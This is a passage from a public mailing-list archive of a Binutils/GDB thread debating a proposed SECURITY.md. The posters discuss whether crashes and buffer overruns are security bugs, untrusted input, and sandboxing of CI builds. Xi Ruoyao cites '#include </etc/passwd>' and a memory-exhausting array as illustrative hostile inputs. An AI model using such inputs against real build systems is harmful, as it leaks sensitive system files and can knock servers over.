* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-17 15:31 ` Michael Matz @ 2023-04-17 19:55 ` Ian Lance Taylor 0 siblings, 0 replies; 56+ messages in thread From: Ian Lance Taylor @ 2023-04-17 19:55 UTC (permalink / raw) To: Michael Matz Cc: Binutils, Siddhesh Poyarekar, Paul Koning, Richard Earnshaw, Nick Clifton, gdb On Mon, Apr 17, 2023 at 8:31 AM Michael Matz <matz@suse.de> wrote: > > On Fri, 14 Apr 2023, Ian Lance Taylor via Binutils wrote: > > > And, honestly, these are not standards that are unusually difficult to > > meet. Don't dump core, don't use up all of memory, don't have buffer > > overflows. Treat failures of this sort as security bugs to be fixed > > ASAP in minor releases. These are achievable goals. > > These are all noble goals to reach for. But the fact is that all the crap > CVE entries from script-kiddies with their fuzzers are mainly fixed by > Alan with his seemingly endless patience. Downstream they are the cause > of endless worries (as customers blindly _demand_ that all CVEs be fixed > by checking tickmarks on an endless list of entries they've downloaded > last week from mitre; just by virtue of the entry having a CVE number and > hence "be a serious security problem"). All of these are bugs to be fixed > eventually. Literally _none_ of them are in any way a serious bug > demanding an immediate fix. Next release is completely fine for that. That is definitely a fair point. My argument here may be too strong. I certainly agree that a CVE is not appropriate for a program crash. Ian ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 17:37 ` Ian Lance Taylor 2023-04-14 18:27 ` Siddhesh Poyarekar @ 2023-04-14 19:45 ` DJ Delorie 2023-04-14 20:49 ` Ian Lance Taylor 1 sibling, 1 reply; 56+ messages in thread From: DJ Delorie @ 2023-04-14 19:45 UTC (permalink / raw) To: Ian Lance Taylor; +Cc: binutils, gdb Ian Lance Taylor via Gdb <gdb@sourceware.org> writes: > Compilers and linkers must behave in a reasonable manner when given > untrusted input. Are we confusing trusted with well-behaved? I mean, if I download a source tree from the FSF's git server, I trust it, but it may still be ill-behaved. Meanwhile, sources from a public mailing list may be well-behaved but not trusted. I'm only posting this because Carlos and I had long discussions about this before we set up the glibc pre-commit CI. This process takes random patches from the public glibc mailing list, and builds them. WHOA! That's dangerous! Yes. The patches may produce well-defined code, but are not trusted. Those builds run in a tight sandbox to mitigate any attack attempts. Security here is outside the scope of the build tools. I don't expect gcc to scan for viruses or prevent people from doing "#include </etc/passwd>". ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 19:45 ` DJ Delorie @ 2023-04-14 20:49 ` Ian Lance Taylor 2023-04-15 6:41 ` Xi Ruoyao 0 siblings, 1 reply; 56+ messages in thread From: Ian Lance Taylor @ 2023-04-14 20:49 UTC (permalink / raw) To: DJ Delorie; +Cc: binutils, gdb On Fri, Apr 14, 2023 at 12:45 PM DJ Delorie <dj@redhat.com> wrote: > > Ian Lance Taylor via Gdb <gdb@sourceware.org> writes: > > Compilers and linkers must behave in a reasonable manner when given > > untrusted input. > > Are we confusing trusted with well-behaved? I mean, if I download a > source tree from the FSF's git server, I trust it, but it may still be > ill-behaved. Meanwhile, sources from a public mailing list may be > well-behaved but not trusted. > > I'm only posting this because Carlos and I had long discussions about > this before we set up the glibc pre-commit CI. This process takes > random patches from the public glibc mailing list, and builds them. > WHOA! That's dangerous! Yes. The patches may produce well-defined > code, but are not trusted. Those builds run in a tight sandbox to > mitigate any attack attempts. Security here is outside the scope of the > build tools. I don't expect gcc to scan for viruses or prevent people > from doing "#include </etc/passwd>". I agree that GCC does not have to scan for viruses or strange #include statements. I am saying that you should not need to set up a sandbox merely to build code. Clearly if you want to execute untrusted code, some sort of sandbox is a minimal requirement. I'm only talking about building code (and, for objdump and friends, inspecting code). Ian ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-14 20:49 ` Ian Lance Taylor @ 2023-04-15 6:41 ` Xi Ruoyao 0 siblings, 0 replies; 56+ messages in thread From: Xi Ruoyao @ 2023-04-15 6:41 UTC (permalink / raw) To: Ian Lance Taylor, DJ Delorie; +Cc: binutils, gdb On Fri, 2023-04-14 at 13:49 -0700, Ian Lance Taylor via Binutils wrote: > On Fri, Apr 14, 2023 at 12:45 PM DJ Delorie <dj@redhat.com> wrote: > > > > Ian Lance Taylor via Gdb <gdb@sourceware.org> writes: > > > Compilers and linkers must behave in a reasonable manner when given > > > untrusted input. > > > > Are we confusing trusted with well-behaved? I mean, if I download a > > source tree from the FSF's git server, I trust it, but it may still be > > ill-behaved. Meanwhile, sources from a public mailing list may be > > well-behaved but not trusted. > > > > I'm only posting this because Carlos and I had long discussions about > > this before we set up the glibc pre-commit CI. This process takes > > random patches from the public glibc mailing list, and builds them. > > WHOA! That's dangerous! Yes. The patches may produce well-defined > > code, but are not trusted. Those builds run in a tight sandbox to > > mitigate any attack attempts. Security here is outside the scope of the > > build tools. I don't expect gcc to scan for viruses or prevent people > > from doing "#include </etc/passwd>". > > I agree that GCC does not have to scan for viruses or strange #include > statements. > > I am saying that you should not need to set up a sandbox merely to > build code. Clearly if you want to execute untrusted code, some sort > of sandbox is a minimal requirement. I'm only talking about building > code (and, for objdump and friends, inspecting code). In practice: 1. At least we need a resource limit on the building process or a simple "int x[1 << 30] = {1,};" may blow up the server. We cannot just make GCC reject "int x[1 << 30] = {1,};" because it may be perfectly legal (though bad) in other use cases. 2. For "#include </etc/passwd>", the risk is the passwd entries may be contained in the error message outputted by the compiler. It happens at build time, not runtime. It does not make too much sense to make GCC "don't output any error message if the error is in some sensitive file" because GCC cannot know a list of sensitive files on the system. And it also does not make too much sense to set an automatic build job w/o providing the compiler error message. So sandboxing is the only viable solution for the automatic build jobs even if these jobs won't run any produced binaries. If you are building normally (manually), things may be different though. -- Xi Ruoyao <xry111@xry111.site> School of Aerospace Science and Technology, Xidian University ^ permalink raw reply [flat|nested] 56+ messages in thread
* Re: RFC: Adding a SECURITY.md document to the Binutils 2023-04-13 15:08 ` Paul Koning 2023-04-13 16:02 ` Siddhesh Poyarekar @ 2023-04-13 16:06 ` Richard Earnshaw 1 sibling, 0 replies; 56+ messages in thread From: Richard Earnshaw @ 2023-04-13 16:06 UTC (permalink / raw) To: Paul Koning, Siddhesh Poyarekar; +Cc: Nick Clifton, Binutils, gdb On 13/04/2023 16:08, Paul Koning wrote: > > >> On Apr 13, 2023, at 11:02 AM, Siddhesh Poyarekar <siddhesh@gotplt.org> wrote: >> >> On 2023-04-13 10:50, Richard Earnshaw wrote: >>> No, whilst elf can be executed, objdump should never be doing that: it's a tool for examining a file, not running it. You have to have a tool that can safely examine the contents of an elf file or you can never verify it for issues - opening it up in emacs to examine the contents is not the way to do that :) >> >> You can verify it for issues, in a sandbox. >> >>> But all that is beside the point. The original case I gave was a /corrupt/ elf file that caused a buffer overrun in the objdump binary. >> >> ... and that's a robustness issue. Any buffer overrun in any program could in theory be exploited to send out files. > > No. Buffer overruns are generally recognized as security issues, precisely because they (often) can be used to produce arbitrary code execution exploits. > > A buiffer overrun would be merely a robustness issue if it is guaranteed to cause nothing worse than a program abort. > > paul > Thank you Paul, you put that better than I did. So lets try to come up with a more robust taxonomy... A script file is a file that contains plain text that might be fully viewed in a traditional text editor. For binutils there are three scenarios: 1) Tools that examine the contents of some non-script files and dump a textual representation of their contents (primarily to stdout). 2) Tools that process the contents of files and create new files based on them 3) Tools that might try to 'execute' the contents of a non-script file. Binutils really only has tools in classes 1 and 2. For scenario one, only files specified on the command line as output files should be written to (or otherwise modified). Script files are not processed. Tools that fit into this category include nm, objdump and readelf. For scenario two, only files specified on the command line or in script files as output files should be written to (or otherwise modified). Tools here include 'as', 'ar', objcopy, ld. Temporary files may be generated (in a secure manner) as part of the process of doing this. For scenario three a non-script file might be executed, but I think that there are no tools in binutils that need to do this. Given the above, a security issue would exist in a tool if it could be made to violate the constraints on the scenario specified for the tool. R. ^ permalink raw reply [flat|nested] 56+ messages in thread
end of thread, other threads:[~2023-04-20 15:56 UTC | newest] Thread overview: 56+ messages (download: mbox.gz / follow: Atom feed) -- links below jump to the message on this page -- 2023-04-07 8:42 RFC: Adding a SECURITY.md document to the Binutils Nick Clifton 2023-04-07 10:36 ` Eli Zaretskii 2023-04-11 13:29 ` Nick Clifton 2023-04-11 14:23 ` Simon Marchi 2023-04-11 15:00 ` Eli Zaretskii 2023-04-11 16:22 ` Nick Clifton 2023-04-11 16:32 ` Matt Rice 2023-04-11 18:18 ` J.W. Jagersma 2023-04-12 8:43 ` Nick Clifton 2023-04-08 6:30 ` Jan Beulich 2023-04-10 18:30 ` John Baldwin 2023-04-20 15:56 ` Nick Clifton 2023-04-11 19:45 ` Ian Lance Taylor 2023-04-12 16:02 ` Richard Earnshaw 2023-04-12 16:26 ` Siddhesh Poyarekar 2023-04-12 16:52 ` Richard Earnshaw 2023-04-12 16:58 ` Paul Koning 2023-04-12 17:10 ` Siddhesh Poyarekar 2023-04-13 3:51 ` Alan Modra 2023-04-13 4:25 ` Siddhesh Poyarekar 2023-04-13 5:16 ` Alan Modra 2023-04-13 12:00 ` Siddhesh Poyarekar 2023-04-13 10:25 ` Richard Earnshaw 2023-04-13 11:53 ` Siddhesh Poyarekar 2023-04-13 12:37 ` Richard Earnshaw 2023-04-13 12:54 ` Siddhesh Poyarekar 2023-04-13 13:11 ` Richard Earnshaw 2023-04-13 13:35 ` Siddhesh Poyarekar 2023-04-13 13:40 ` Richard Earnshaw 2023-04-13 13:56 ` Siddhesh Poyarekar 2023-04-13 14:50 ` Richard Earnshaw 2023-04-13 15:02 ` Siddhesh Poyarekar 2023-04-13 15:05 ` Richard Earnshaw 2023-04-13 16:42 ` Siddhesh Poyarekar 2023-04-14 9:52 ` Richard Earnshaw 2023-04-14 12:43 ` Siddhesh Poyarekar 2023-04-14 12:49 ` Richard Earnshaw 2023-04-14 13:13 ` Siddhesh Poyarekar 2023-04-13 15:08 ` Paul Koning 2023-04-13 16:02 ` Siddhesh Poyarekar 2023-04-13 16:49 ` Paul Koning 2023-04-13 17:00 ` Siddhesh Poyarekar 2023-04-13 17:05 ` Paul Koning 2023-04-13 17:29 ` Siddhesh Poyarekar 2023-04-13 17:37 ` Paul Koning 2023-04-13 18:16 ` Siddhesh Poyarekar 2023-04-14 17:37 ` Ian Lance Taylor 2023-04-14 18:27 ` Siddhesh Poyarekar 2023-04-14 20:46 ` Ian Lance Taylor 2023-04-14 21:24 ` Siddhesh Poyarekar 2023-04-17 15:31 ` Michael Matz 2023-04-17 19:55 ` Ian Lance Taylor 2023-04-14 19:45 ` DJ Delorie 2023-04-14 20:49 ` Ian Lance Taylor 2023-04-15 6:41 ` Xi Ruoyao 2023-04-13 16:06 ` Richard Earnshaw
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).